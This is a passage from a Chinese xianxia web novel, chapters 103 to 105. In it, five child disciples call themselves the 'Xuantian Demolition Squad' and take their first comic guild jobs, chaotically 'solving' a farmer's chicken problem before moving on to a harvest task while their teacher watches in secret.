云见月看着这两块自动贴上来的牛皮糖,一阵无语。 她揉了揉眉心,没好气道:“……行,你们要跟就跟着。但给我听好了,绝对不许随意插手星尘他们的历练,不许暴露行踪,不许给我惹麻烦。否则,立刻把你们扔回天元宗。” “知道啦知道啦,保证乖乖的,绝对不添乱。”苏心瑶立刻保证,笑得没心没肺。 虞青焰玉骨扇轻摇,遮住半张俊脸,语气带着几分戏谑:“云宗主,看来你的‘跟屁虫’队伍又壮大了两只。” 云见月心道:还好花影那厮不在,不然,自己身边岂不都是一群“问题儿童”。 想象着虞青焰和花影无时无刻比美,苏心瑶和林思思两个没完没了叽叽喳喳的活宝,她可真是伤不起。 于是,一行奇怪的“跟踪队伍”出发了。 云见月和虞青焰气息完美地融入周围环境,仿佛从未存在过。 苏心瑶和林思思,手忙脚乱地从储物袋里翻出隐匿符箓,拍在自己身上,跟做贼似的跟在身后。 第103章 我们是玄天拆迁队,师尊指哪!我们拆哪! 山下,五个小家伙手拉着手走了小半天,最初的兴奋劲儿过去后,一个个小脸上开始浮现出大大的迷茫。 苏渺渺眨巴着那双水汪汪、如同黑葡萄般纯净的大眼睛,软软地问:“大师兄,历练到底要做些什么呀?” 她的小脑袋里对“历练”这个词完全没有具体概念。 江迷雾也挠了挠自己的头,他想象中的历练应该是像话本讲的侠客故事里那样,路见不平拔刀相助。 但具体从哪里开始,怎么做,他也很懵懂。 他挥舞了一下肉乎乎的小拳头,不确定地说:“是不是要去打坏人?可是……坏人厉害吗?我们能打得过吗?” 郁仙和鹿闻声也面面相觑。 他们一个以前在养父母家日复一日的劳作和打骂,一个在凡间流浪乞讨为活着奔波,对于“历练”二字,同样是一头雾水,不知道该如何入手。 四个小家伙,八只清澈的眼睛,同时充满信任和期盼地看向他们之中最见多识广、最博学多才、最可靠的大师兄萧星尘,齐齐竖起小耳朵,俨然一副等待家长解惑的的乖宝宝模样。 萧星尘对上师弟师妹们纯洁无瑕、依赖满满的目光,顿时感觉肩上的担子沉甸甸的。 他是大师兄,他不能露怯,他得知道! 他努力转动自己的小脑袋瓜,拼命回想:“历练就是……就是……” “是什么?”四个小家伙异口同声地追问,眼睛睁得更大更圆了。 萧星尘急中生智,突然想起以前在萧家时,见过族中那些子弟出门历练前,都会去家族的“任务堂”接取各种各样的任务。 “对了!”他眼睛一亮,仿佛找到了答案,立刻学着记忆中那些大人的样子,胸有成竹地巴拉巴拉解释道:“历练就是去接任务,完成任务,然后就能得到奖励,比如灵石、丹药或者法宝。对,就是这样!” 鹿闻声小脸一派认真,恍然大悟:“我明白了,就像在凡间界,大人们去码头扛包或者给地主家做工,赚了银子才能买米买肉一样。” 郁仙眼睛也亮了,想起了曾经的“任务”:“我也明白了,就像我以前,每天都要割够一筐猪草、洗完所有衣服、做好饭,做完了才有饭吃,做不完就要挨打……这就是完成任务和没完成任务。” 江迷雾兴奋地拍着两只小肉手:“哇!原来历练是这样的,那我们快点去找地方接任务吧!” 苏渺渺也欢快地蹦跳起来,粉嘟嘟的小脸笑开了花,“接任务接任务,赚多多的灵石,给师尊买好吃的。” 萧星尘刚为自己成功“解惑”而感到一丝骄傲,但很快又犯了难。 玄天宗人太少了,根本没有任务堂啊。 那他该去哪里给师弟师妹们接任务呢? 对上四双充满期盼和信任的眼睛,萧星尘觉得,作为大师兄,作为此刻的“顶梁柱”,他必须解决这个问题。 隐匿身形的云见月听着孩子们天真无邪的对话,嘴角忍不住抽了抽。 这帮小家伙,果然还是年纪太小,完全把“历练”当成好玩的新游戏了,根本不知道其背后的艰辛与危险。 苏心瑶和林思思更是捂着嘴,笑得肩膀直抖,差点暴露了行踪。 就连一旁百无聊赖的虞青焰,唇角也几不可查地弯起一个极小的弧度,觉得这群小不点实在有趣得紧。 萧星尘的小脑袋瓜飞速运转。 宗门没办法接任务,那外面总能吧? 他依稀记得……爹爹和族老们提起过,修真界有很多没有门派的修士,叫做“散修”。 他们好像有一个专门的地方,可以接各种任务…… 叫什么来着? 对了! 萧星尘猛地一拍小手,眼睛放光,大声宣布:“我想到了,我们去‘散修联盟’!那里肯定有很多任务可以接。” “好耶!去散修联盟!”孩子们立刻欢呼起来,刚刚的迷茫一扫而空,重新变得斗志昂扬。 于是,在萧星尘英明神武的带领下,五个小小的身影,怀抱着“做任务=赚灵石=好玩=历练”的简单想法,雄赳赳气昂昂地朝着最近城镇的方向进发,准备去“散修联盟”大干一场。 将这一切尽收眼底的云见月,忍不住轻笑摇头,眼中却满是温柔与纵容的笑意。 苏心瑶对林思思小声嘀咕:“散修公会?那几个小豆丁能接什么任务?帮老奶奶找走丢的灵宠还是给灵田除草啊?云见月心可真大……” 林思思赶紧捂住她的嘴,紧张地四下张望:“嘘!瑶瑶你小声点,云见月说了不许打扰他们历练,而且……我觉得他们好可爱啊……” …… 散修联盟坐落在一座规模中等的城镇边缘,是一座看起来颇为粗犷坚实的石砌建筑。 门楣上挂着一块饱经风霜的木匾,龙飞凤舞地刻着“散修联盟”四个大字。 石质的门框上雕刻着一些简单的刀剑和兽纹。 门口或坐或站地聚集着几个穿着各异、带着兵器的散修。 有的在擦拭武器,有的在啃干粮,大声谈论着最近的见闻和任务,空气中弥漫着一股汗味、尘土味和淡淡的血腥味混合的气息。 当五个粉雕玉琢、穿着干净的小奶娃,排着不算太整齐的队伍走进大厅时,原本嘈杂喧闹的大厅瞬间安静了下来。 所有目光都好奇的、诧异的、戏谑的、冷漠的,齐刷刷地聚焦在这群格格不入的小不点身上。 “啧,哪家的小屁孩跑这儿迷路了?”一个满脸络腮胡的大汉笑道,语气带着善意的调侃。 萧星尘的小脸瞬间涨得通红,大声道:“我们不是迷路,我们是来接任务的。” 这话一出,顿时引来哄堂大笑。 “小家伙断奶了吗?就学会来散修公会接任务了?” “看穿着,可都是上品法衣,肯定是哪个大宗门的公子和小姐,出来玩的。” “小朋友,这里是散修公会,可不是你们宗门的任务堂。” 五个小家伙被他们说的面红耳赤,心里十分不服气。 这时,一个胡子花白的老修士眯着眼打量了他们一番,慢悠悠地道:“接任务?小家伙们,你们想接什么任务啊?是帮张婆婆找跑丢的芦花鸡,还是帮李大爷给镇外的灵田除草?” 他的话又引来周围一阵低低的哄笑。 鹿闻声小脸绷的紧紧的,声音稚嫩,但态度极其认真,“我们不抓鸡也不除草,我们要打妖兽。” 他记得师尊说过,历练时遇到妖兽,是要和妖兽战斗的。 江迷雾挥舞着小拳头,气势十足地比划着:“对!不仅打妖兽,还要打大坏蛋,欺负人的那种。” 苏渺渺躲在萧星尘身后,探出小脑袋,软软地加上自己的诉求:“还…还要赚灵石,给师尊买好吃的……” 老修士看着这几个还没柜台高的小豆丁,听着他们童言无忌却又异想天开的话,哭笑不得地摇摇头:“孩子们,这里真没有适合你们的任务,快回家去吧。” 萧星尘几人还想再为自己争取一下,可老修士已经不愿再和他们几个小孩子胡闹了,挥着手,大有把他们赶出去的架势。 就在这时,门口又走进来两个人,一高一矮,都穿着略显夸张的皮质护甲,风尘仆仆却一脸自信。 他们径直走到柜台前,其中那个高个子的朗声道:“薛老,‘龙精虎猛’小队归来交任务,顺便看看有没有新的任务。” 薛老,也就是那位头发花白的老修士,熟练地翻出任务卷宗:“这次又想接什么?” 只见那两人对视一眼,突然同时后退一步,摆出一个自认为非常威武的姿势,齐声高喝道: “龙腾九天震寰宇!”(高个子) “虎啸山林我称王!”(矮个子) “我们是——龙精虎猛小队!任务对我们来说易如反掌,都放马过来吧!”说完冲薛老勾手指。 这中二无比的口号和他们那认真羞耻的动作,让大厅里不少散修都憋着笑扭过了头。 薛老嘴角抽搐,但却一副见怪不怪的样子,只是无奈地摇摇头,拿出任务卷轴任两人挑选。 然而,这场景看在五个小家伙眼里,却完全不是那么回事。 他们瞪大了眼睛,小脑袋凑到一起,开始小声地“蛐蛐蛐”: 萧星尘:“(小声)看到没,要有小队名字。” 鹿闻声:“(激动)还要有口号,像他们那样。” 郁仙:“(点头)嗯!不然好像不给接任务……” 江迷雾:“(握拳)我们也得起一个,比他们的还厉害。” 苏渺渺:“(眨眼)那…那叫什么好呀?” 五个小脑袋紧紧凑在一起,激烈地讨论了半天,时而皱眉思索,时而眼睛发亮,时而小声争论。 隐藏在暗处的云见月、虞青焰,以及偷偷摸摸的苏心瑶和林思思,都疑惑地看着孩子们,不知道他们又在琢磨什么。 过了好一会儿,五个小家伙似乎终于达成了共识。 他们互相看了看,重重地点点头,然后猛地转过身,面向柜台后的老修士,以及大厅里所有好奇的目光。 萧星尘深吸一口气,小脸憋得通红,仿佛用尽了全身的力气,大声喊道: “老爷爷,我们也要接任务,我们想好小队名字和口号了。” 不等老修士反应,五个孩子突然像是演练过无数次一样,猛地散开,摆出了一个…… 嗯,十分努力想显得很酷但实在有些歪歪扭扭的阵型。 整个大厅瞬间陷入一种诡异的寂静。 然后—— 萧星尘上前一步,铁拳虚捶地面(没捶到):“谁在狗叫?!” 鹿闻声掌心“噗”地冒出一小簇火苗(差点烧到头发):“谁、谁想被烧?!” 郁仙指尖萦绕着一丝不祥的黑色雾气(一不小心自己吸了大半)“谁......咳咳......啊嚏!谁要试毒?!” 江迷雾“铿”地祭出他的凝霜剑(没拿稳掉在地上,赶忙捡起):“谁该挨刀?!” 苏渺渺歪着头,露出一个甜甜的、人畜无害的笑容:“师兄师姐,留个全尸好不好?” 五人迅速凑到一起,勾肩搭背,努力摆出一个嚣张的POSE,结果差点挤成一团摔倒,好不容易才站稳,齐声用最大的奶音吼道: “我们是玄天拆迁队!业务遍三界!” “专治各种不服!承办各种超度!” “师尊指哪!我们拆哪!” “专业团队!使命必达——” 站在队伍中间的苏渺渺眨眼,用吃奶的劲儿拖得长长的音调,甜甜地接上最后一个字。 “达~!”(^_-) “……” 整个散修联盟大厅,陷入了比之前更加彻底的、死一般的寂静。 所有散修的表情都凝固在脸上。 薛老目瞪口呆,活了这么大岁数,头一回见到这种阵仗,CPU都快干烧了,他的下巴都快掉到任务卷轴上,手里的笔“啪嗒”一声掉落在地。 隐藏在暗处的云见月,一个趔趄,差点摔倒。 虞青焰的折扇彻底遮住了整张脸,只能看到剧烈抖动的肩膀。 苏心瑶和林思思直接瘫坐在地上,捂着肚子,脸憋得通红,差点笑断气。 苏心瑶拼命用手捶地才能不发出太大声音。 林思思一边笑一边擦着眼角笑出的眼泪。 萧星尘看着满场寂静,以为是被他们震撼住了,虽然小脸羞得通红,但还是努力挺直了小腰板,紧张又期待地看着薛老:“老、老爷爷……现在……我们可以接任务了吗?” 第104章 第一次做任务,鸡飞狗跳的一天 散修联盟大厅,在那死一般的寂静之后,如同被点燃的火药桶,骤然爆发出几乎要掀翻屋顶的哄堂大笑。 “哎呦喂!玄天拆迁队?哈哈哈哈哈——”一个大汉笑得直接从椅子上滚了下来,捶着地面。 “专业超度哈哈哈——这些小娃娃是哪个神仙派来逗乐子的?太有意思了。” “使命必达~达~!这小奶音,甜得老子心肝颤!哈哈哈哈——” 整个大厅,散修们笑得东倒西歪,眼泪直流。 就连柜台后的薛老,也憋得老脸通红,花白的胡子一抖一抖,肩膀不停地剧烈抖动,好不容易才勉强压下汹涌的笑意。 他看着五个因为全场爆笑而显得无措、小脸涨得通红、却还努力维持着那歪歪扭扭“嚣张”姿势的小豆丁,又是好笑又是无奈。 薛老清了清嗓子,用力敲了敲柜台:“好了好了,都安静。” 他努力摆出严肃的表情,但眼角的笑纹还没完全散去。 他看向努力装作镇定的萧星尘,语气不由得放软了些:“小家伙,口号很……嗯,别致。但散修公会的任务不是儿戏,需要真本事。你们……都会些什么啊?” 五个小家伙面面相觑,然后非常实诚地开始报数。 萧星尘一脸认真:“我力气大,师尊说我基础打得最扎实了,平日帮着师尊照顾师弟师妹。” 鹿闻声举起小手,指尖“噗”地冒出一小簇火苗:“我会点火,经常帮师尊烧火做饭。” 郁仙小声补充,带着点小骄傲:“我会和面,师尊夸我揉的面团最好,做的饭最香。” 江迷雾挥舞了一下胳膊,虎虎生风:“我会砍柴,一剑就能劈开好粗的木头。” 苏渺渺眨着大眼睛,软软地说:“我…我给师兄师姐加油!师尊说我的加油最有用!” 他们天真又认真的“技能介绍”,再次引来满堂善意的、忍俊不禁的笑声。 这都什么跟什么啊! 薛老忍着笑,沉吟了片刻。 罢了,到底是孩子心性。 他从那堆任务卷轴最底下,抽出了一个积满灰尘、报酬低得可怜的一星任务卷轴。 “咳,既然你们这么想历练……” 薛老将卷轴递过去,“镇外西山脚下,李老汉家养的几只灵尾鸡,最近不知被什么东西骚扰,丢了好几只,吓得剩下的也不敢好好下蛋了。去帮他看看怎么回事,解决一下。报酬……一块下品灵石。” 这任务无聊到资深散修看一眼都嫌浪费时间,通常是为刚引气入体的凡人准备的。 然而,五个小家伙一听,眼睛瞬间亮了。 灵尾鸡?听起来就好厉害。 是不是比师尊抓的那些用来做小鸡炖蘑菇的七彩凤羽鸡还厉害? 有坏人偷鸡?需要他们去解决?还有灵石报酬? 真是太好了。 “保证完成任务!”萧星尘激动地接过任务卷轴,小脸严肃庄重,仿佛接下了拯救世界的重任。 其他四人也兴奋地围上来,叽叽喳喳。 五个小家伙再次排好队,在一片混合着好笑、好奇和看热闹的目光中,努力昂首挺胸,走出了散修公会。 “走!去西山脚!”萧星尘一挥手,小队斗志昂扬地出发。 暗处,云见月以手扶额,简直没眼看。 灵尾鸡? 那是最低级、几乎没攻击性、只比凡鸡多了几根灵羽的禽类,给她筑基期的徒弟练手,简直让她有种杀鸡用牛刀的感觉。 虞青焰用扇子抵着下巴,觉得这或许比预想的更有趣。 苏心瑶拉着林思思笑个不停,“看吧看吧!我就说是找鸡捉虫级别的任务,哈哈哈——” 孩子们根据卷轴指示,很快找到了西山脚那间简陋的农舍。 李老汉看着眼前这群粉雕玉琢、穿着精致法衣的小娃娃,惊得手里的旱烟袋都掉了。 听完他们一本正经、奶声奶气地说明来意,李老汉又是好笑又是无奈,但还是配合地描述了情况。 核心意思就是:丢鸡,剩下的不下蛋。 于是,五个小家伙摩拳擦掌,开始像模像样地“调查”起来。 萧星尘负责勘察现场,他觉得鸡不下蛋必有蹊跷,决定抓一只来仔细“检查”。 他看准一只最肥的灵尾鸡,猛地扑过去。 结果—— 由于他长时间穿戴五倍重力的衣服,造成他手劲很大,一时忘了控制自己的力道…… “咔嚓”一声轻微的脆响。 萧星尘看着手里脖子软软歪下去、瞬间毙命的肥鸡,愣住了。 李老汉:“......”出师未捷,鸡先死。 鹿闻声见状,哀叹:“大师兄你手劲太大了,还没等给鸡检查,鸡就先被你掐死了,你退下,看我的,我觉得肯定是鸡窝里藏着坏东西,所以鸡才不下蛋,我用火照照。” 说着,他掌心“呼”地冒出一团火焰,凑近鸡窝…… 下一秒。 “轰!” 火苗瞬间蹿起,鸡窝着了。 受惊的灵尾鸡尖叫着四处乱飞,鸡毛漫天。 两只跑得慢的鸡瞬间被点着,变成了“烤鸡”…… 李老汉见状,一个没吸好,被旱烟呛的不停咳嗽,想要阻止,却连话都说不出来了。 只能眼睁睁看着下一个穿着绿衣服的小丫头,跑过去,撒了一把黑色的药丸在地上。 她嘴里还说着,“小鸡好可怜,不是被大师兄掐死,就是被二师兄烧死,受到惊吓就更不下蛋了,还是吃点我炼制的丹药补补好了。” 结果…… 低级灵禽根本承受不住那精纯药力,吃下去丹药的几只鸡当场身体膨胀,“嘭”地一声,爆体而亡。 鸡毛和血肉碎末溅了旁边李老汉一脸。 李老汉:“咳咳......咳咳咳.......停......咳咳咳咳......” 苏渺渺急得快哭了。 “小鸡不怕不怕,渺渺祝福你们多下蛋,下多多的蛋,下蛋了,爷爷就开心了……” 她集中意念,福灵心至,强大的祝福之力笼罩住两只灵尾鸡。 然后…… 那两只鸡就像被按了快进键,开始疯狂下蛋。 “咯咯哒”之声不绝于耳,一枚接一枚的鸡蛋如同竹筒倒豆子一般被下出来,速度惊人。 直到生生把自己后半辈子的蛋都下完了,精疲力竭,翅膀一耷拉,直接嘎了。 这简直比杀鸡取卵,还杀鸡取卵。 众人:“……” 暗处的云见月已经不忍直视,默默转过身去。 虞青焰嘴角抽搐的频率都快赶上扑棱蛾子了。 苏心瑶和林思思直接互相搀扶着,笑得眼泪狂飙,捂着肚子哎呦哎呦直叫唤。 这哪里是来做任务? 这分明是来给李老汉进行灭门清算的啊! 李老汉看着自己原本十几只活蹦乱跳的灵尾鸡,转眼间就死的死,疯的疯,只剩最后一只缩在角落瑟瑟发抖,他捶胸顿足,老泪纵横:“小仙长们,行行好,放过老汉我吧,这鸡…这鸡老汉不求下蛋了,求你们快走吧!呜呜呜……” 孩子们天真的脸上满是困惑和委屈。 “爷爷,我们接了任务要查清楚你家的鸡为什么不下蛋,如今还没查清楚原因呢,我们的任务不能失败呀!” “是呀是呀,这是我们出宗门的第一个任务,如果就这么轻易放弃的话,师尊会失望的。” 暗处的师尊:我同意李老汉所言,你们还是放弃,别霍霍人了。 李老汉一听,哭得更凶了。 这几尊小佛,送也送不走,留又不敢留,这是造了什么孽啊! 江迷雾眼神坚毅,挡在最后那只鸡前面:“师兄师姐师妹,你们退后!这最后一只鸡,交给我来保护,我绝对不会让它受到任何伤害。” 他紧紧握住了凝霜剑,如临大敌。 随着时间的推移,天彻底黑了下来。 江迷雾一直躲在暗处,一瞬不瞬盯着鸡窝的方向。 不知过了多久,就在他困的打了十六个哈欠的时候,突然,一道灰影借着夜色,快如闪电,猛地从篱笆外窜入,直扑鸡窝角落里那最后一只吓傻了的灵尾鸡。 那是一只体型比寻常大上一圈、双眼赤红、獠牙外露、动作异常迅猛的——盗风鼬! 孩子们吓了一跳,这还是他们第一次真正面对妖兽,虽然只是低阶。 “大胆妖孽!还敢行凶!”江迷雾大喝一声,保护最后一只鸡的责任感充斥胸膛,他想也没想,体内灵力疯狂涌入凝霜剑,对着那扑来的灰影和鸡窝的方向,奋力一剑劈出。 一道凌厉无匹的剑气呼啸而出。 “轰!” 剑气精准地将那只盗风鼬......和它嘴里那只可怜的灵尾鸡,一同劈成了两半。 余势未减的剑气还瞬间撕裂了小小的鸡窝,并且狠狠撞在了后面的茅草屋墙上。 “哗啦啦——” 李老汉那本就不甚结实的茅草屋,在这筑基期剑修的含怒一击下,轰然倒塌,尘土飞扬。 孩子们看着死去的盗风鼬,先是一愣,随即爆发出欢呼。 “哇!四师兄好厉害!” “坏蛋被打死了!” “我们完成任务了!找到偷鸡的坏蛋了!” 五个小家伙开心的又跳又笑,充满了第一次完成任务的巨大成就感和喜悦,完全没注意到旁边已经彻底石化的李老汉。 李老汉看着被劈成两半的鸡、倒塌的鸡窝和茅草屋,整个人都傻了。 随即,“哇”地一声,像个孩子一样嚎啕大哭起来,哭声凄惨无比:“我的鸡…我的窝…我的房子啊……呜呜呜……这日子没法过了……” 孩子们被老人的哭声惊动,脸上的笑容僵住了,手足无措地看着哭得伤心欲绝的老爷爷。 萧星尘最先反应过来,小脸上满是愧疚,他急忙从自己的储物袋里掏出灵石,塞到李老汉手里,笨拙地安慰:“爷爷,爷爷你别哭,这是我师尊给我的零用钱,都给你,你拿去修房子,买小鸡......” 李老汉哭声一滞,看着手里满满当当、灵气氤氲的下品灵石,粗略一看,绝对上万。 他眼睛瞬间瞪得溜圆,差点从眼眶里掉出来。 鹿闻声也赶紧掏出自己的零花钱,“我的也给您,爷爷你不要哭了啊......” 李老汉手里又多了一堆灵石。 郁仙看着师兄们都给了,有点舍不得给师尊给她的灵石,她想了想,掏出了一颗流光溢彩、药香扑鼻的丹药,递过去:“爷爷,这个给你吃,师尊说延寿丹吃了能活好久好久......” 江迷雾看着被自己劈坏的房子,小脸涨红,抡起凝霜剑就跑到柴堆旁。 只见剑光闪烁,不消片刻,院子里所有的木头,无论粗细,全部被劈砍得整整齐齐,码放成高高的柴火堆。 “爷爷,我给你劈了好多好多柴,你以后就不用劈柴了,不哭了哦。” 苏渺渺走过去,拉着李老汉的衣角,软软地说:“爷爷,不要难过,渺渺祝福你......以后身体健康,无病无灾,养的小鸡都又肥又爱下蛋......” 李老汉捧着这辈子都没见过的巨款灵石,握着那传说中的延寿灵丹,看着那堪比艺术品柴火垛,感受着身上莫名涌入的温暖祥和的气息,整个人都懵了,眼泪还挂在脸上,表情却已是呆滞和难以置信。 他本是一个资质奇差、苦修大半生也才炼气三层、寿元将尽、只能靠养几只低阶灵鸡勉强度日的废柴老散修。 然而,经过这鸡飞狗跳、如同灾难降临的一天,他的命运齿轮被这五个小祖宗用最离谱的方式,猛地撬动了。 许久之后,缓过神来的李老汉,看着那五个虽然搞砸了一切、但眼神纯净善良、正紧张看着他的孩子。 看着手里的灵石和丹药,感受着身体的轻盈温暖,巨大的、不真实的狂喜瞬间冲散了所有悲伤和绝望。 他忽然噗通一声跪下,不是哭诉,而是激动得语无伦次:“多…多谢…多谢小仙长们的再造之恩......” 五个小家伙看着终于不哭反而道谢的老爷爷,虽然不太明白“再造之恩”是什么意思,但总算松了口气,赶忙把李老汉从地上拉起来。 五个小家伙摸了摸自己扁扁的肚子,看着那些死了的鸡,直咽口水。 他们从早上出宗门,到现在夜都深了,一口吃的都没吃过呢。 李老汉见他们这个样子,还有什么不明白的。 老人家慈眉善目道:“孩子们是不是饿了?爷爷给你们做烤鸡好不好?” 鸡死都死了,别浪费了。 “好耶,谢谢爷爷,爷爷你真是个大好人。” 这一夜,孩子们围坐在火堆边,吃着李老汉给他们做的烤鸡,一个个吃的满嘴油花,笑容也是极其的灿烂。 谁都不会想到,在很久很久以后,这位因祸得福的李老汉,会在某个关键时刻,成为“玄天拆迁队”一段意想不到的善缘。 第105章 玄天拆迁队,打出名号 深夜万籁俱寂,李老汉家的院子里,小家伙们已挤在一起睡得香甜。 只有萧星尘双眸在夜色中亮如星辰,没有丝毫睡意。 每日深夜,都是他雷打不动的修炼时刻。 他先将《九转星辰淬体术》第一重的九个基础动作一丝不苟地重新演练了一遍。 每一个动作都力求完美,随着星辰之力被吸入体内,他的气血随之奔腾,一遍一遍不厌其烦的淬炼着筋骨。 直至感觉状态调整至巅峰,他才深吸一口气,开始尝试第二重的动作。 如今,身上五倍重力的压制对他而言已如无物,行走坐卧与常人无异。 曾经让他耗尽一夜心力也无法完成的第二重的第一个动作,此刻做来已是驾轻就熟,流畅自然。 他没有停下,继续尝试第二个、第三个…… 动作越往后,对肉身、筋骨、乃至意志的考验便呈几何级数增长。 撕裂般的痛楚再次逐渐回归,但他眼神坚定,汗水无声地从额角滑落,砸在泥土里,他却连眉头都未曾皱一下。 直到第七个动作完成,开始演练第八个动作时,那熟悉又恐怖的感觉再次降临。 仿佛有五股巨力从不同方向拉扯着他的身体,如同五马分尸一般要将他的身体撕碎。 剧痛席卷全身,每一寸肌肉、每一根骨骼都在发出不堪重负的呻吟。 萧星尘死死咬紧牙关,齿缝间甚至渗出了一丝铁锈味,但他硬是一声未吭。 他凭借着惊人的意志力,强行维持着这个极其别扭痛苦的姿势,任由冷汗浸透衣衫,身体剧烈颤抖,也绝不放弃。 时间一点点流逝,就在他几乎要达到极限时,身体终于在极限的压迫下开始适应,剧痛稍减。 他不敢松懈,立刻开始尝试最难的第九个动作。 果然,第九个动作的难度远超第八个,复杂程度和带来的压力几乎翻倍。 他数次尝试,身体都因无法承受那恐怖的压力而失败弹回。 但他脑海中清晰地回响起师尊的话语:“修炼一途,如筑高台,根基不牢,地动山摇。切忌贪快冒进,慢,即是快。” 躁动的心瞬间平复。 他不再执着于一次成功,而是沉下心来,一次又一次,不知疲倦地重复着第二重这九个动作,从生涩到熟练,从痛苦到适应,用近乎自虐的方式,疯狂地夯实着基础,打磨着体魄。 他的眼神始终如磐石般坚定,里面燃烧着不服输、不低头的火焰。 看着他强忍痛苦也要修炼下去的决心,云见月又欣慰又心疼。 可她不能出声关心,更不能出面安慰,只能默默看着,给予他心理上的支持。 她盘膝而坐,也开始修炼,师徒二人在同一片星空下,以各自的方式努力着。 一夜过去。 或许是昨晚的烤鸡给了他们无穷的精力,又或许是完成了任务的兴奋感尚未消退,五个小家伙脚步轻快,不一会儿就看到了散修联盟的大门。 刚一走进散修联盟,他们就发现有点不对劲。 不少散修看到他们,都会露出一种古怪又忍俊不禁的笑容。 甚至有人低声笑着跟同伴说:“快看!‘玄天拆迁队’来了!” 更有人捏着嗓子,模仿着苏渺渺的腔调:“使命必达~达~……” 显然,小家伙们昨天在散修联盟的“壮举”已经以惊人的速度传开了,成了散修们枯燥生活中一则有趣的谈资。 孩子们一开始被看得有点害羞和不好意思,小脸微红。 但很快,他们就在这广泛的“注目礼”中变得抬头挺胸,甚至内心生出一点点小骄傲——看!我们都出名了!不正是师尊说的"历练成果"吗? 虽然不太明白大家为什么笑的那么奇怪,但肯定是因为我们厉害。 暗处的苏心瑶笑得直接挂在林思思身上,直不起腰。 林思思也抿嘴笑着,觉得孩子们真是单纯可爱得紧。 虞青焰摇着扇子,挑眉调侃:“看来放他们出来历练是正确的选择,瞧这精气神,才一天功夫,倒是愈发‘自信飞扬’了。” 云见月看着徒弟们那“不知天高地厚”的小模样,也是哭笑不得,心中暗道:小家伙们进步是不小,就是这想出来的口号和这莫名其妙的自信……略感羞耻啊。 看来,每一个少年的成长路上,都逃不过这中二病发作的阶段。 这大概就是为人师者,甜蜜又无奈的烦恼吧。 散修联盟大厅内,昨天见过他们的散修们,再见到他们,顿时响起一阵热烈的起哄和打招呼声。 “哟!咱们的‘拆迁队’凯旋归来啦?” “李老汉家的鸡,问题都彻底解决干净了吗?以后还能下蛋不?” 孩子们的小脸又是一红,问题当然是解决了,鸡也一并“解决”了,现在还在他们肚子里呢,再也不用担心下不下蛋的问题了。 薛老看到他们,表情那叫一个复杂。 “任务这么快就完成了?” 萧星尘努力板起小脸,维持着严肃,走上前,将那只死透的盗风鼬尸体“砰”地一声放在柜台上,大声汇报:“爷爷,我们完成任务了,偷鸡搞破坏的坏蛋就是它,已经被我们就地正法了。” 他声音洪亮,带着满满的成就感。 看着那死状凄惨的“任务证据”,再看看五个小娃娃脸上那“快夸奖我们吧”的期待表情,整个大厅的笑声简直要冲破屋顶。 薛老忍着笑,仔细检查了一下盗风鼬尸体,又听着孩子们七嘴八舌、选择性省略了大部分“灾难细节”的汇报,他按照规定,取出了一块下品灵石作为报酬。 孩子们盯着那孤零零的一块下品灵石,小脸皱成包子。 这还不够给师尊买半块桂花糕呢! 但转念一想,这是他们赚的‘第一桶金’,又纷纷挺起胸膛,眼睛亮了起来。 萧星尘小心的收起灵石,心里已经开始盘算将来攒够了灵石要给师尊买什么大礼物。 薛老目光慈祥,语气温和,带着一种长者对后辈的殷切期望,道:“孩子们,你们做得很好。 但老夫在你们身上,看到了修士最珍贵的品质——纯粹的热忱和无穷的潜力。” 他顿了顿,声音传遍大厅,仿佛不仅说给孩子们,也说给在场所有被生活磨平了棱角的散修们听: “仙路漫漫,未来浩渺。莫要看轻这第一步,每一个巨擘的起点,或许都源于一次看似稚嫩的尝试。保持这份心性,扎实走好每一步,未来的修仙界,必将有你们浓墨重彩的一笔!英雄,自古出少年啊!” 这番毫不吝啬的夸奖和意义深远的鼓励,让孩子们听得心潮澎湃,欢呼雀跃,巨大的成就感充满了小小的胸膛。 连周围那些散修们,看向孩子们的眼神也少了几分戏谑,多了几分复杂的感慨和善意的包容。 他们或许觉得这群没心没肺的小家伙实在单纯得可爱,还不谙世事险恶,但也正是这份未被尘俗沾染的纯粹,让他们这些早已被生活磨去锋芒的老油条们,感到一丝久违的触动。 就在孩子们高兴时,一个穿着短褂的中年修士走过来,对薛老道:“薛老,清溪村灵植收割的任务,还没有人接了吗?村里承包户的灵稻灵麦眼看就要错过最佳收割期了。” 薛老蹙眉,摇头:“那任务挂了好几天了,报酬不高,又耗时耗力,繁琐得很,没人愿意接。” 萧星尘等人一听,眼睛瞬间又亮了。 又有新任务了? 还是收割灵植,听起来就很好玩。 “薛爷爷这个任务我们玄天拆迁队接了。”萧星尘立刻上前,小脸上写满了积极。 薛老看着他们跃跃欲试、精力无穷的样子,略一思索,也罢,让孩子去体验一下农作的辛苦也好。 他将任务卷轴递了过去:“罢了,你们去试试吧。记住,收割灵植是精细活,不可毛躁。” “谢谢薛爷爷。”孩子们兴奋地接过卷轴,再次手舞足蹈。 大厅里的散修们安静地看着孩子们因为接到一个又累又赚不到钱的任务而欢天喜地,全都无奈地笑着摇了摇头。 孩子就是孩子,做任务全凭一腔热情,根本不懂生活的艰辛。 五个小家伙根据卷轴指引,兴冲冲地赶到清溪村。 当村长看到接了任务的竟然是五个还没自家孙子高、粉雕玉琢的小娃娃时,眼皮狂跳。 深深的怀疑涌上心头:这……散修联盟是没人了吗?派这么几个小奶娃来?他们细皮嫩肉的,一看就是家里娇生惯养的,哪像是能干农活的样子? 但任务已被接下,村长也不好说什么,只能抱着死马当活马医的心态,带着他们来到村外的灵田。 抬手一指,只见目光所及,整整一面一面又一面的山坡,金灿灿的灵稻迎风摇曳,如同金色的海洋,景象颇为壮观。 鹿闻声看着那一望无际的灵田,小脸上顿时充满了使命感。 他上前一步,一脸坚定地抬起小手,指尖“呼”地一下冒出一团炽热的火焰,朗声道:“村长爷爷放心,交给我们,我保证用最快的速度,把这一整个山头的灵植都‘收’完,干干净净!” 村长一看那窜天的火苗子,吓得魂飞魄散,脸都白了,连忙扑上去挡在他面前:“使不得!万万使不得!你这火一放,我们全村人一年的心血可就全白费了,那不成烧荒了吗?” 他慌忙从旁边拿起一把崭新的镰刀,“用这个,得用这个一下一下地割。” 鹿闻声拿着弯弯的镰刀,左看右看,一脸茫然,这玩意儿怎么用? 这时,郁仙走上前来,熟练地接过镰刀,调整了一下握姿,说道:“二师兄,这个我会。我在养父母家的时候,经常用镰刀割猪草,也下地帮过忙。” 她的小脸上露出了不同于平时的、带着些许生活气息的沉稳。 萧星尘一看,也来了劲头,干脆不用镰刀,直接用手刀:“好!那我们就比赛,看谁割得快!” 